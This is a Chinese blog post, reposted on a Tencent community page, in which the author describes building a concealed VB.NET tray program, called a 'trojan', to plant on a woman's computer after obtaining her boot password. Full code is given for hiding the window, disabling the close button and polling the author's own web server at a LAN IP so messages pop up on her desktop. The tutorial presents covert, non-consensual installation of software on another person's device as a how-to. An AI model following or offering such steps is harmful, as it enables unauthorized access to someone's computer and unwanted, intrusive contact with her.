另类编程4:开一扇窗,隐藏的聊天工具

既然搞到了开机密码,下一步自然是想办法在小丽的电脑上安装一个隐身的小木马,随时能够帮自己传递消息给小丽。

小仙发挥自己的专业优势,在自己的电脑上搞了一个web服务器(win7以上的任何操作系统都可以,通过安装IIS来实现。

然后通过,运行(cmd.exe)窗口,输入IPconfig命令,查到自己电脑的IP地址,在网站的主目录文件下,编写一个文件hi.txt

在里面输入内容:

hi,我仰慕你很久哦!

然后保存!

然后,通过VS2008,新建一个“Windows窗体应用程序 ”项目

设置启动窗体的属性:

windowstate为"Minimized"

添加notifyicon和time控件,输入下面的代码:

Imports System.Net

Imports System.IO

Public Class Form1

Private Declare Function GetSystemMenu Lib "User32" (ByVal hwnd As Integer, ByVal bRevert As Integer) As Integer

Private Declare Function RemoveMenu Lib "User32" (ByVal hMenu As Integer, ByVal nPosition As Integer, ByVal wFlags As Integer) As Integer

Private Declare Function DrawMenuBar Lib "User32" (ByVal hwnd As Integer) As Integer

Private Declare Function GetMenuItemCount Lib "User32" (ByVal hMenu As Integer) As Integer

Private Const MF_BYPOSITION = &H400&

Private Const MF_DISABLED = &H2&

Private Sub disableX(ByVal wnd As Form)

Dim hMenu As Integer, nCount As Integer

hMenu = GetSystemMenu(wnd.Handle.ToInt32, 0)

nCount = GetMenuItemCount(hMenu)

Call RemoveMenu(hMenu, nCount - 1, MF_BYPOSITION Or MF_DISABLED)

DrawMenuBar(Me.Handle.ToInt32)

End Sub

Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed

NotifyIcon1.Dispose()

End Sub

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

disableX(Me)

Me.Hide()

End Sub

Private Sub NotifyIcon1_MouseDoubleClick(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles NotifyIcon1.MouseDoubleClick

Me.Show()

Me.Focus()

Me.WindowState = FormWindowState.Normal

End Sub

Private Sub Form1_Resize(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Resize

If Me.WindowState = FormWindowState.Minimized Then

Me.Hide()

End If

End Sub

Private Function getWebpage() As String

Dim Url As String = "http://10.1.186.63/hi.txt"

Dim httpReq As HttpWebRequest = Net.WebRequest.Create(Url)

Dim httpResp As System.Net.HttpWebResponse

httpReq.Method = "GET"

httpResp = CType(httpReq.GetResponse(), HttpWebResponse)

httpReq.KeepAlive = False

Dim reader As StreamReader = New StreamReader(httpResp.GetResponseStream, System.Text.Encoding.GetEncoding("GB2312"))

Dim Html As String = reader.ReadToEnd()

Return Html

End Function

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

TextBox1.Text = getWebpage()

End Sub

然后生成一个应用程序,然后把这个程序拷贝到小丽到的电脑里然后运行。

当有新的消息出现,这个程序就会自动在小丽桌面跳出窗口,提示消息!

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20181212A0OY9G00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 yunjia_community@tencent.com 删除。

扫码关注云+社区

领取腾讯云代金券